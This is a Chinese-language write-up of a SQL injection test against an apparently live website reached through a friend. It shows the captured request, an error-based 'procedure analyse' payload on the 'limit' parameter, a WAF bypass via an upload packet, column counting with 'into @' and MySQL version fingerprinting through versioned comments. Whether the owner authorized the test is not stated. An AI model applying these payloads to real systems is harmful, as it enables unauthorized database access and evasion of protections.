朋友发了我一个站点,来看看吧,是limit注入,不太常见。搞一搞吧。
POST /Member/CompanyApply/lists HTTP/1.1 Host: * Content-Length: 57 Accept: application/json, text/javascript, */*; q=0.01 Origin: * X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: * Accept-Language: zh-CN,zh;q=0.8 Cookie: * Connection: close type=1&status=&search_val=&start_date=&end_date=&limit=1
存在问题参数:limit,看到这个我就想到limit注入。就怕是幌子
再次尝试输入limit=1和limit=2,2中成功返回了1的所有信息
ok!尝试limit注入,limit注入不太常见,手法挺少的,尝试:
limit=1 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));
貌似有waf。。看来是阿里云。。
我们知道limit注入只能用procedure analyse进行报错注入,可以说是很鸡肋了。
还有waf。
先绕waf吧
首先修改数据包头:
发现还是405
继续尝试绕过:
思路:找一个上传图片包 :
复制粘贴到存在sql注入的数据包中:
如果sql语句是union select x from y limit x未使用order by,我们可以使用union select进行注入探测:
使用1 union select 1
发现有order by。。。。只能用那两个函数了。。
这里踩了不少坑,一直在纠结为啥出不了数据,后来才知道,mysql版本>5.6.6
这里的问题是很有可能是mysql>5.6
那么还如何证明注入呢?
使用into
limit注入本地测试:
union select x from y order by x limit x (x=limit参数)
union select x from y order by x limit 1,x (x=limit参数)
只有这两种可能了。
因为版本大于5.6.6只能使用另类方法证明是否是sql注入了:
先本地测试下:
查询表,发现是两列数据,id和name字段
平常我们探测列数都是order by,其实我们还可以:
使用into @
在limit下利用:
会提示列不同:
出现了不一样的提示,所以我们的列是2列
如果我们再次加一个@
就会提示不同列。
实战测试:
正确的列数:
不正确的列数返回如下:
至此我们可以证明出这是个sql注入。最后列数是9
mysql版本号大于5.6.6这是怎么证明的呢?
1/*!50666aaaa*/报错说明版本号>5.6.66
输入
出现错误,输入1/*!50721aaaa*/
不再报错
说明 版本号应该是5.7.21
此次注入经历让我学到了很多,还得多多努力!